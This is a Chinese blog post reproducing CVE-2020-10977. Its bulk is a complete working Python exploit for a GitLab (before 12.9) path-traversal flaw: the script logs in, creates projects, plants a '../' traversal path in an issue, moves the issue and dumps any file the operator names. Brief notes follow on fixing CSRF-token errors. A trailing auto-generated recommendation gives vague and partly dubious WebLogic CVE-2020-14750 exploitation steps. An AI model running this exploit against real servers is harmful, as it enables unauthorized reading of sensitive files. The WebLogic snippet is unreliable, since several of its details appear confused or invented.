CVE-2020-10977复现过程

26 篇文章 2 订阅
19 篇文章 0 订阅

老规矩上一下漏洞详情

漏洞详情:

GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。 GitLab(企业版和社区版)12.9之前版本中存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。

 

POC:

#!/usr/bin/env python3

import sys
import json
import requests
import argparse
from bs4 import BeautifulSoup
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument('url', help='Target URL with http(s)://')
parser.add_argument('username', help='GitLab Username')
parser.add_argument('password', help='GitLab Password')
args = parser.parse_args()

base_url = args.url
if base_url.startswith('http://') or base_url.startswith('https://'):
	pass
else:
	print('[-] Include http:// or https:// in the URL!')
	sys.exit()
if base_url.endswith('/'):
	base_url = base_url[:-1]

username = args.username
password = args.password

login_url = base_url + '/users/sign_in'
project_url = base_url + '/projects/new'
create_url = base_url + '/projects'
prev_issue_url = ''
csrf_token = ''
project_names = ['ProjectOne', 'ProjectTwo']

session = requests.Session()

def banner():
	print('-'*34)
	print('--- CVE-2020-10977 ---------------')
	print('--- GitLab Arbitrary File Read ---')
	print('--- 12.9.0 & Below ---------------')
	print('-'*34 + '\n')
	print('[>] Found By : vakzz       [ https://hackerone.com/reports/827052 ]')
	print('[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t      ]\n')

def show_info():
	print('[+] Target        : ' + base_url)
	print('[+] Username      : ' + username)
	print('[+] Password      : ' + password)
	print('[+] Project Names : {}, {}\n'.format(project_names[0], project_names[1]))

def login():
	print('[!] Trying to Login...')
	try:
		login_req = session.get(login_url, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()

	login_sc = login_req.status_code
	if login_sc == 200:
		login_resp = login_req.text
		soup = BeautifulSoup(login_resp, 'html.parser')
		meta = soup.find_all('meta')

		for entry in meta:
			if 'name' in entry.attrs:
				if entry.attrs['name'] == 'csrf-token':
					csrf_token = entry.attrs['content']
	else:
		print('[-] Status : ' + str(login_req.status_code))
		sys.exit()

	login_data = {
		'utf8': '✓',
        'authenticity_token': csrf_token,
        'user[login]': username,
        'user[password]': password,
        'user[remember_me]': 0
	}

	login_req = session.post(login_url, data=login_data, allow_redirects=False)
	if login_req.status_code == 302 and 'redirected' in login_req.text:
		print('[+] Login Successful!')
	else:
		print('[-] Status : ' + str(login_req.status_code))
		print('[-] Login Failed!')
		sys.exit()

def create_project(project):
	global csrf_token
	print('[!] Creating {}...'.format(project))
	try:
		project_req = session.get(project_url, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	project_resp = project_req.text
	soup = BeautifulSoup(project_resp, 'html.parser')
	inputs = soup.find_all('input')
	for entry in inputs:
		if 'name' in entry.attrs:
			if entry.attrs['name'] == 'project[namespace_id]':
				project_id = entry.attrs['value']

	meta = soup.find_all('meta')
	for entry in meta:
		if 'name' in entry.attrs:
			if entry.attrs['name'] == 'csrf-token':
				csrf_token = entry.attrs['content']

	create_data = {
        'utf8': '✓',
        'authenticity_token': csrf_token,
        'project[ci_cd_only]': 'false',
        'project[name]': project,
        'project[namespace_id]': project_id,
        'project[path]': project,
        'project[description]': '',
        'project[visibility_level]' : '0'
	}
	try:
		create_req = session.post(create_url, data=create_data, allow_redirects=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	if create_req.status_code == 302 and 'redirected' in create_req.text:
		print('[+] {} Created Successfully!'.format(project))
	else:
		pass

def create_issue(project_name):
	global prev_issue_url
	print('[!] Creating an Issue...')
	issue_url = '{}/{}/{}/issues/new'.format(base_url, username, project_name)
	try:
		issue_req = session.get(issue_url, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	issue_resp = issue_req.text
	soup = BeautifulSoup(issue_resp, 'html.parser')
	meta = soup.find_all('meta')
	for entry in meta:
		if 'name' in entry.attrs:
			if entry.attrs['name'] == 'csrf-token':
				csrf_token = entry.attrs['content']

	issue_create_url = issue_url.replace('/new', '')
	issue_data = {
        'utf8': '✓',
        'authenticity_token' : csrf_token,
        'issue[title]': 'read_{}'.format(filename),
        'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(filename),
        'issue[confidential]' : '0',
        'issue[assignee_ids][]' : '0',
        'issue[label_ids][]' : '',
        'issue[due_date]' : '',
        'issue[lock_version]' : '0'
    }

	try:
		create_req = session.post(issue_create_url, data=issue_data, allow_redirects=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	if create_req.status_code == 302 and 'redirected' in create_req.text:
		print('[+] Issue Created Successfully!')
		create_resp = create_req.text
		soup = BeautifulSoup(create_resp, 'html.parser')
		prev_issue_url = soup.find('a')['href']
		if base_url.startswith('https://') and prev_issue_url.startswith('http://'):
			prev_issue_url = prev_issue_url.replace('http://', 'https://')
	else:
		print('[-] Status : ' + str(create_req.status_code))
		print('[-] Failed to Create an Issue!')

def move_issue(source, second, filename):
	print('[!] Moving Issue...')
	id_url = '{}/{}/{}'.format(base_url, username, second)
	try:
		id_req = session.get(id_url, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	id_resp = id_req.text
	soup = BeautifulSoup(id_resp, 'html.parser')
	body = soup.find('body')
	project_id = body.attrs['data-project-id']
	move_url = prev_issue_url + '/move'

	try:
		csrf_req = session.get(prev_issue_url, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	csrf_resp = csrf_req.text
	soup = BeautifulSoup(csrf_resp, 'html.parser')
	meta = soup.find_all('meta')
	for entry in meta:
		if 'name' in entry.attrs:
			if entry.attrs['name'] == 'csrf-token':
				csrf_token = entry.attrs['content']
	move_data = {
		"move_to_project_id": int(project_id)
	}
	move_data = json.dumps(move_data)
	move_headers = {
		'X-CSRF-Token': csrf_token,
		'X-Requested-With': 'XMLHttpRequest',
		'Content-Type': 'application/json;charset=UTF-8'
	}

	try:
		move_req = session.post(move_url, data=move_data, headers=move_headers)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	if move_req.status_code == 200:
		print('[+] Issue Moved Successfully!')
		description = json.loads(move_req.text)["description"]
		filepath = description.split('](')[1][1:-1]
		fileurl = "{}/{}/{}/{}".format(base_url, username, second, filepath)

		print('[+] File URL : ' + fileurl)
		try:
			contents = session.get(fileurl, verify=False)
		except Exception as exc:
			print('\n[-] Exception : ' + str(exc))
			sys.exit()
		if contents.status_code == 404:
		    print('[-] No such file or directory')
		else:
			print('\n> ' + filename)
			print('{}\n\n{}\n{}\n'.format('-'*40, contents.text, '-'*40 ))
	elif move_req.status_code == 500:
		print('[-] Access Denied!')
	else:
		print('[-] Status : ' + str(move_req.status_code))

def delete_project(project):
	print('[!] Deleting {}...'.format(project))
	delete_data = {
		'utf8': '✓',
		'_method': 'delete',
		'authenticity_token' : csrf_token
	}
	delete_url = '{}/{}/{}'.format(base_url, username, project)
	try:
		delete_req = session.post(delete_url, data=delete_data, verify=False)
	except Exception as exc:
		print('\n[-] Exception : ' + str(exc))
		sys.exit()
	if delete_req.status_code == 200:
		print('[+] {} Successfully Deleted!'.format(project))
	else:
		print('[-] Status : ' + str(delete_req.status_code))

try:
	banner()
	show_info()
	login()
	for project in project_names:
		create_project(project)
	while True:
		filename = input('[>] Absolute Path to File : ')
		create_issue(project_names[0])
		move_issue(project_names[0], project_names[1], filename)
except KeyboardInterrupt:
	print('\n[-] Keyboard Interrupt')
	for project in project_names:
		delete_project(project)
	sys.exit()

直接走一波:就是一波报错(看了下原作者,也有人出现这个问题,排除是环境的问题)

接下来开始调试代码:

先print(meta),发现内容确实没有csrf_token,懂的都懂,csrf会出现在源码里

所以自己访问一波,发现访问延迟很久,于是增加time.sleep(15),自己使用root账户创建projectone和projecttwo(由于服务器挂了,我就放截图了)

其余的部分基本差不多,由于我用的是root账户,看了一遍博文:

https://blog.csdn.net/cumt_TTR/article/details/110234399

说的是root账户解析失败,个人觉得有并不是解析的原因(至少12.8.1)没这个毛病

差不多就这些了,有啥问题的可以评论,我有时间就回复

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
CVE-2020-14750是Oracle WebLogic Server中的一个漏洞,可以导致远程未经身份验证的攻击者执行任意代码。要复现这个漏洞,以下是一个可能的步骤: 1. 安装WebLogic Server:首先,需要从Oracle官方网站上下载并安装一个易受攻击的版本的WebLogic Server。可以选择12.2.1.4或14.1.1.0版本。 2. 配置WebLogic Server:安装完成后,需要对WebLogic Server进行一些基本配置。在WebLogic Server的安装目录下,找到并编辑`setDomainEnv.sh`或`setDomainEnv.cmd`文件,设置JAVA_HOME和PATH变量。 3. 创建WebLogic域:在WebLogic Server安装目录中,有一个`configure.cmd`或`configure.sh`脚本,通过运行该脚本来创建域。根据您的需求,可以选择创建“dev”或者其他名称的域。 4. 配置CVE-2020-14750:打开weblogic.yaml配置文件,找到`wls.hostname`和`wls.port`字段,并将其设置为您想要攻击的WebLogic Server实例的主机名和端口号。 5. 运行漏洞利用脚本:获得漏洞利用工具,如Apache-Cordova-Exploit工具或GitHub上的Pentest-Cheatsheets仓库中的Exploits目录中的相关文件。根据指导运行漏洞利用脚本。 请注意,以上步骤仅提供了一个大致的复现过程,并不保证成功。在进行漏洞复现之前,请确保已获取所有必要的授权和许可,并仅在合法且受控制的环境中进行。为了保护网络和系统安全,请务必遵循所有适用的法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ATOM_123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值